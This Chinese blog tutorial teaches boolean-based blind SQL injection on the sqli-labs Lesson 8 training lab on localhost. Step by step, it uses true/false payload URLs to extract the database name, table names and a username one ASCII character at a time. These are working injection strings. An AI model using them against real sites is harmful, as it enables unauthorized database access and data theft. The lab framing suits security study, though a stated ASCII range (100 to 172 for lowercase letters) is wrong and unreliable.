基于布尔的 SQL 注入新手指南(第 2 部分)

正如我们在之前的教程“基于错误的攻击”、“基于登录的攻击”以及更多不同类型的攻击中所看到的那样,他们使用SQL注入攻击数据库的方式太多了,目的是从内部数据库中检索信息。同样,今天我们将学习一种新的SQL注入攻击,称为基于盲布尔的攻击。

攻击者总是在网址中使用(‘)来中断语句以接收一条SQL错误消息,从而检查SQL注入漏洞。这是开发人员和攻击者之间的战斗,开发人员提高安全级别,攻击者试图破坏它。这一次开发者已经阻止了错误消息作为网站上的输出。因此,如果数据库容易受到SQL注入的攻击,那么攻击者就不会在网站上获得任何错误消息。攻击者将试图通过评估返回真或假的各种查询的结果来确认数据库是否容易受到盲目的SQL注入的攻击。

让我们开始吧!!

使用Dhakkan,我们将演示盲目的SQL注入。

Lesson 8

第8课是关于基于布尔的盲注入,因此我们首先需要研究浏览器上的 http://localhost:81/sqli/Less-8/?id=1, 这将把查询发送到数据库中。

SELECT * from table_name WHERE id=1

作为输出,它将在网页上显示“you are in”,为黄色文本。

当攻击者试图使用http://localhost:81/sqli/Less-8/?id=1’ 中断该查询时,或者其他不同的技术,他将无法发现错误信息。此外,如果攻击者试图注入同样显示在给定图像中的无效查询,黄色文本“you are in”将会消失。

然后,攻击者将进行盲目的SQL注入,以确保注入的查询必须返回正确或错误的答案。

http://localhost:81/sqli/Less-8/?id=1' AND 1=1 - -+
SELECT * from table_name WHERE id=1’ AND 1=1

现在数据库测试给定的条件1是否等于1,如果查询有效,它返回TRUE,你可以看到我们再次得到黄色文本“you are in”,这意味着我们的查询是有效的。

在下一个查询中检测网址,

http://localhost:81/sqli/Less-8/?id=1' AND 1=0 - -+
SELECT * from table_name WHERE id=1’ AND 1=0

现在它将测试给定的条件1是否等于0,因为我们知道1不等于0,因此数据库回答为“FALSE”查询。从截图中,它确认了黄色文本何时再次消失。

因此,它证实了网络应用程序感染了盲目的SQL注入。使用真和假条件,我们将检索数据库信息。

数据库字符串长度

下面的查询将询问数据库字符串的长度。例如,数据库的名称是IGNITE,它包含6个字母,因此数据库IGNITE的字符串长度等于6。

同样,我们将插入下面给出的查询,该查询将询问数据库字符串的长度是否等于1,在对该查询的响应中,它将通过文本“you are in”返回“TRUE”或“FALSE”。

http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 1 - -+

你可以再次看到文本消失,这意味着它返回了FALSE,数据库字符串的长度不等于1。

http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 - -+

它将再次测试数据库字符串的长度是否等于2;如果数据库字符串的长度不等于2,则返回FALSE以回答否。重复同样的步骤,直到我们没有收到字符串长度为3/4/5/等等的真。

http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 - -+

当我测试的字符串等于8时;它回答为TRUE,结果黄色文本“you are in”再次出现。

正如我们所知,计算机不懂人类语言,它只能阅读二进制语言,因此,我们将使用ASCII码。ASCII码为字符集中的所有符号关联一个整数值,如字母、数字、标点符号、特殊字符和控制字符。
例如看以下字符串ASCII码:
1 = I = 73

2 = G = 71

3 = N = 78

4 = I = 73

5 = T = 84

6 = E = 69

此外,我们将使用ASCII字符为所有8个字符串枚举数据库名称。

下一个查询将使用ascii子字符串从数据库测试中询问数据库名称的第一个字符串是否大于100。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 - -+

它反映了真实情况,因此如果你匹配ASCII字符,你会发现从100个小字母串一直运行到172。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 120 - -+

同样,它将再次测试第一个字母是否大于120。但这次它返回FALSE,这意味着第一个字母大于100,小于120。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 - -+

接下来,它将等于101的第一个字符串,我们再次得到FALSE。
我们从101到114进行了这个测试,但是每次都是假的。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 - -+

显示返回FALSE。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 - -+

最后在115收到一个TRUE的回复,这意味着第一个字符串等于115,其中115 =’s ‘

同样,测试第二个字符串,通过从第二个字符串替换第一个字符串来重复上述步骤。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 - -+
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) = 101 - -+

我在101收到了一个“TRUE”的回复,这意味着第二个字符串等于101,且101 =“e”。
同样,我对所有八个字符串都执行了这个操作,并得到了以下结果:
1 = s = 115

2 = e = 101

3 = c =99

4 = u =117

5 = r =114

6 = i = 105

7 = t = 116

8 = y = 121

表字符串长度

我们必须使用相同的技术从数据库中枚举表的信息。给定的查询将测试第一个表的字符串长度是否大于5的条件。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 - -+

作为回复,我们收到了“TRUE”,并且“you are in”的文字再次出现在网站上。

给定的查询将测试第一个表的字符串长度是否大于6的条件。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 6 - -+

作为回应,我们收到FALSE,文本“you are in”再次从网站上消失。

给定的查询将测试第一个表的字符串长度是否等于6的条件。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 - -+

作为回复,我们收到了“TRUE”,并且“you are in”的文字再次出现在网站上。

同样,我使用相同的技术测试第二个和第三个表,只替换同一个查询中的表号。

类似地,使用下面的查询来枚举第四个表信息,以测试第四个表的字符串长度是否等于5。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 - -+

作为回复,我们收到了“TRUE”,并且“you are in”的文字再次出现在网站上。

下一个查询将从数据库中使用ascii子字符串来测试表名的第一个字符串是否大于115的条件。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 115 - -+

它返回TRUE,这意味着第一个字符串大于115。

下一个查询将从数据库中使用ascii子字符串来测试表名的第一个字符串是否大于120的条件。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 120 - -+

但这次它返回FALSE,这意味着第一个字符串大于115,小于120。

继续将ASCII码中的字符串等同于115到120之间的数字。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 116 - -+
返回FALSE,文本消失。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 117 - -+
返回TRUE,文本出现。

同样地,我们测试剩余字符串,得到以下结果:

1 = u = 117

2 = s = 115

3 = e = 101

4 = r = 114

5 = s = 115

用户名枚举

使用相同的方法,我们将从表用户中枚举字符串用户名的长度

下面给出的查询将测试字符串长度是否等于4。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 - -+

返回TRUE,黄色文本出现。

使用相同的方法,我们将从表用户中枚举用户名。下面给出的查询将使用ASCII码测试第一个字符串。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 100 - -+

我们收到FALSE ,这意味着第一个字符串一定小于100。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 50 - -+

我们得到TRUE,这意味着第一个字符串一定大于50。

同样地,测试如下:

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 60 - -+
返回TRUE.
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 70 - -+
返回FALSE。

因此第一个字符串的ASCII码一定位于60到70之间。使用以下查询继续比较来自不同ASCII码的字符串。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) = 68 - -+

这次收到TRUE,并显示文本“you are in”。同样,为了检索用户名,我测试了所有四个字符串:
1 = D = 68
2 = u = 117
3 = m = 109
4 = b = 98

因此,今天我们已经了解了攻击者如何使用盲目的SQL注入攻击数据库。

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!